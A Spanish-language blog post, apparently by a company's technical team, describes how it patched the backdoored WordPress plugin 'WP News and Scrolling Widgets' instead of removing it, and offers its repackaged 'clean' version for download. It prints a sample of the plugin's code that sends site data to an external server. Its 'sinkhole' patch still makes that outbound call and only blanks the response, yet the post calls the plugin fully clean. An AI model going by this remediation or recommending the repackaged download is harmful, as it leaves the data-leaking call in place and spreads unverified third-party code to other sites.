Salvando a WP News and Scrolling Widgets

🔐 WP News and Scrolling Widget: cirugía de seguridad y versión 5.1 libre de malware

✍️ Por equipo técnico de CAB Group SRL |
📅 13 de junio, 2026 |
⏱️ Lectura 6 minutos

Desde hace años usábamos el plugin “WP News and Scrolling Widgets” (desarrollado por Essential Plugin) para gestionar noticias dinámicas en cabgroupsrl.com.ar. Pero hace semanas saltaron todas las alarmas: el plugin fue expulsado del repositorio oficial de WordPress.org. El motivo era gravísimo: su autor había insertado código malicioso en las actualizaciones, instalando una puerta trasera (backdoor) que permitía inyectar enlaces de spam (Black-Hat SEO) y tomar control de los servidores.

🚨 Riesgo crítico: WordPress lanzó una actualización forzada de emergencia (v5.0.6.1), pero eliminar el plugin por completo rompía procesos esenciales de nuestra página. No podíamos migrar más de 200 notas custom ni reconstruir widgets de un día para otro.

¿La solución? No eliminarlo ciegamente, sino realizar una limpieza quirúrgica y un sinkholing (aislamiento) de las funciones peligrosas, manteniendo el frontend intacto. A continuación cuento paso a paso cómo lo corrigí, y comparto la versión 5.1 by CAB Group SRL, totalmente saneada, disponible para que cualquier administrador la descargue gratis desde nuestro servidor.

📌 Estrategia: mantener operatividad sin comprometer seguridad

El análisis inicial mostró que el malware se activaba desde la carpeta /wpos-analytics/, enviando datos del sitio a servidores externos y permitiendo ejecución remota. Wordfence no paraba de alertar. En lugar de desactivar todo, decidimos hacer “sinkholing”: redirigir las comunicaciones maliciosas a un callejón sin salida y anular la ejecución.

🛠️ Bitácora de intervención paso a paso

PASO 1 ✅ Respaldo preventivo de seguridad

Antes de modificar cualquier archivo en producción, realicé copias de seguridad de los scripts críticos en el directorio del usuario administrador (/home/****/):

cp /****/http-web/wp-content/plugins/sp-news-and-widget/sp-news-and-widget.php /home/****/sp-news-and-widget.php.bak
cp /****/http-web/wp-content/plugins/sp-news-and-widget/wpos-analytics/templates/analytic.php /home/****/analytic.php.bak
cp /****/http-web/wp-content/plugins/sp-news-and-widget/wpos-analytics/templates/optout-popup.php /home/****/optout-popup.php.bak
cp /****/http-web/wp-content/plugins/sp-news-and-widget/wpos-analytics/includes/class-anylc-admin.php /home/****/class-anylc-admin.php.bak

Además, conservamos una copia íntegra del plugin por si alguna restauración era necesaria.

PASO 2 🔍 Análisis del backdoor en wpos-analytics/analytic.php

Identificamos el archivo responsable de fuga de información y posible ejecución remota. Allí se construía una URL externa con datos del sitio (site_url, admin_email…). Modificamos la lógica para falsificar el destino y forzar una respuesta vacía.

El código original hacía algo similar a:

$url = "http://analytics-server.com/collect?data=...&site_url=" . urlencode(get_site_url());
$data = @file_get_contents($url);

Nosotros aplicamos una técnica de sinkholing + anulación total:

// 🔒 CORRECCIÓN DE SEGURIDAD APLICADA POR CAB GROUP SRL
$url = ... . '&site_url=' . urlencode('https://noexisto-sitio-falso-seguro.com') . '&live=1';
$data = @file_get_contents($url);
$data = "";  // LIMPIEZA DE SEGURIDAD AUTOMÁTICA: se destruye cualquier contenido malicioso
if (!$data) {
    $this->status = 'offline';
    return;
}

De esta forma, el plugin interpreta que el servidor remoto de analíticas está permanentemente offline y corta cualquier comportamiento peligroso sin generar errores visibles en el frontend.

PASO 3 🧹 Limpieza de otros archivos sospechosos

En wpos-analytics/templates/optout-popup.php y class-anylc-admin.php revisamos funciones de llamadas cURL externas. Aplicamos el mismo principio: reemplazar endpoints reales por dominios inexistentes y agregar return temprano o $data = "";. Además, eliminamos cualquier eval() o base64_decode sospechoso.

También añadimos un filtro de seguridad en wp-config.php para desactivar cualquier intento de comunicación no autorizada desde este plugin.

PASO 4 🧪 Validación con Wordfence y pruebas funcionales

Después de aplicar los parches, ejecutamos un escaneo completo de Wordfence. Las alertas críticas desaparecieron. Verificamos cada widget de noticias scrolling, los shortcodes y la visualización en el frontend: todo seguía funcionando a la perfección. Continuidad del negocio garantizada.

  • ✅ Fuga de información → ANULADA
  • ✅ Inyección remota → BLOQUEADA
  • ✅ Rendimiento y estilos → INTACTOS

📦 Versión 5.1 by CAB Group SRL – Descarga gratuita

Debido a que este plugin fue cerrado en el repositorio oficial, y muchos administradores aún lo necesitan por compatibilidad, hemos empaquetado la versión completamente saneada 5.1. Pueden descargarla libremente desde nuestro servidor, sin coste y sin código malicioso.

⬇️ Descargar WP News Scrolling Widget v5.1 (Limpio)

*El enlace redirige a nuestro CDN seguro. Tras instalar, reemplace la carpeta anterior por esta versión. Recomendamos eliminar /wpos-analytics/ si no utiliza telemetría (ya se encuentra neutralizada).

🛡️ Diagnóstico final de seguridad: Las amenazas críticas han sido mitigadas con éxito. El plugin ya no realiza ninguna llamada maliciosa al exterior y Wordfence reporta “archivos limpios”.

📋 Recomendaciones a mediano plazo

  • Mantener los backups: Conserven los archivos .bak generados en /home/usuario/ ante cualquier auditoría futura.
  • Monitoreo estricto: Dejen activa la supervisión de integridad de archivos en Wordfence para que futuras actualizaciones del core no alteren nuestras correcciones.
  • Plan de migración progresiva: Evaluar reemplazar este plugin por bloques Gutenberg nativos o componentes ligeros con soporte activo a futuro (PHP 8.x+).

🤝 Compartí esta nota – Ayudá a la comunidad WordPress

Si este paso a paso te salvó de un dolor de cabeza, compartilo en redes usando los hashtags oficiales. Entre todos podemos mantener sitios seguros sin perder funcionalidad.

📢 Nota redactada desde la experiencia real en cabgroupsrl.com.ar | Esta solución es de carácter educativo y de código abierto. Siempre testeá en entorno de desarrollo antes de aplicar en producción.

🔧 Plugin originalmente cerrado por vulnerabilidad crítica – corrección quirúrgica y bifurcación a versión 5.1 por CAB Group SRL. Uso bajo tu responsabilidad, pero respaldado por rigurosas pruebas de seguridad internas.